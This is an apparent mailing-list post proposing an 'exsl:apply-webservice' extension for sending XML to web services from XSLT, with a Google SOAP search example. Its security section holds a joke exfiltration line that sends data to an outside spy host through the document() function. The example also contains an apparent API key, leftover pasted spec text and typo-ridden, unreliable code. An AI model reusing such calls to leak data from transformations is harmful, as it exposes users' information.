Request for new function "apply-webservice" in EXSLT 1.1

Hi all

I tried to push this into XSLT 2.0 standard but I couldn't convince
the W3C people. Michael Kay says this should be an extension-function before
it can make the way to XSLT standard.

I think this is the place form XSLT extensions. So I post it here.

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Element Syntax

<exsl:apply-webservice
   href = { uri-reference }
   encoding = { string }
   omit-xml-declaration = { "yes" | "no" }
   standalone = { "yes" | "no" }
   doctype-public = { string }
   doctype-system = { string }
   cdata-section-elements = { qnames }
   indent = { "yes" | "no" }
   <-- Content: template -->
</exsl:apply-webservice>

The exsl:apply-webservice element is used to send a XML document to a 
http resource an
receive a XML document that can be processed by XSLT.

With exsl:apply-webservice it is possible to connect to webservices like 
SOAP, XML-RPC,...
Basicly it is a mechanism to send XML using the POST method to a 
HTTP-Server and
get XML as return value.

In other words it sends XML to the the stdin of a CGI-Program and 
receives the stdout
of the same CGI Process.

The content of the exsl:apply-webservice element is a template;
this is instantiated to create a sequence of nodes;
a root node is created with this sequence of nodes as its children;
the tree with this root node represents the subsidiary result document.
The href attribute specifies where the subsidiary document should be 
stored;
it must be an absolute or relative URI; it must not have a fragment 
identifier.
For example, the following would create a main result document 
specifying an HTML
 frameset with two frames, together with two subsidiary documents,
one for the contents of each frame:

If the URI does not describe a http resource, but a relative path to the 
filesystem, there can
be things similar to named pipes that handel the query (can't remember 
exactly but in
"system programming" at the univerity I heard about that things -
maybe somebody has more clue about that than I have).

EXAMPLE
========

<!-- this connects to google searchengine webservice an converts the 
result to html -->

<xsl:stylesheet
        version="1.0"
        xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
        xmlns="http://www.w3.org/1999/xhtml"
    xmlns:exsl="http://exslt.org/2005/1.1/common"
 >

<xsl:param name="searchString"/>

<xsl:template match="/">

<xsl:variable name="google-result">
  <exsl:apply-webservice href="http://api.google.com/search/beta2">
    <SOAP-ENV:Envelope
    xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"
    xmlns:xsd="http://www.w3.org/1999/XMLSchema">
      <SOAP-ENV:Body>
        <ns1:doGoogleSearch xmlns:ns1="urn:GoogleSearch"
             
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
          <key xsi:type="xsd:string">kM1xqFHLpTc2lC2StK49OPkwPulNF</key>

        <!-- here the payload goes to the SOAP Message -->
          <q xsi:type="xsd:string"><xsl:value-of 
select="$searchString"/></q>

          <start xsi:type="xsd:int">0</start>
          <maxResults xsi:type="xsd:int">10</maxResults>
          <filter xsi:type="xsd:boolean">true</filter>
          <restrict xsi:type="xsd:string"></restrict>
          <safeSearch xsi:type="xsd:boolean">false</safeSearch>
          <lr xsi:type="xsd:string"></lr>
          <ie xsi:type="xsd:string">latin1</ie>
          <oe xsi:type="xsd:string">latin1</oe>
        </ns1:doGoogleSearch>
      </SOAP-ENV:Body>
    </SOAP-ENV:Envelope>
  </xsl:apply-webservice>
</xsl:variable>

<xsl:apply-tempaltes select="$google-result" mode="design"/>

</xsl:template>


<xsl:template match="*" mode="design">
<table>
<xsl:for-each select="//item">

.....

</xsl:for-each>
</table>
</xsl:template>


-------------------------

There are lots of things not covered by this specification.
o encryption
o key management
o ...

The security of XSLT does not change. With the document function it is 
already
possible to send data to the internet.

example:
document('http://www.kgb.ru/incoming/secrets.php?nameOfSpy=mr.spock')

-----------------------

Use Cases:

SOAP;
XML-RPC;
SAP Business Connector RFC-XML, BAPI-XML,...;
Business to Business communication;
JEP-0025: *Jabber* *HTTP* *Polling;* 
<http://www.jabber.org/jeps/jep-0025.html>
...

=======================================

thanks for reading

Bernhard Zwischenbrugger
http://www.fh-stpoelten.ac.at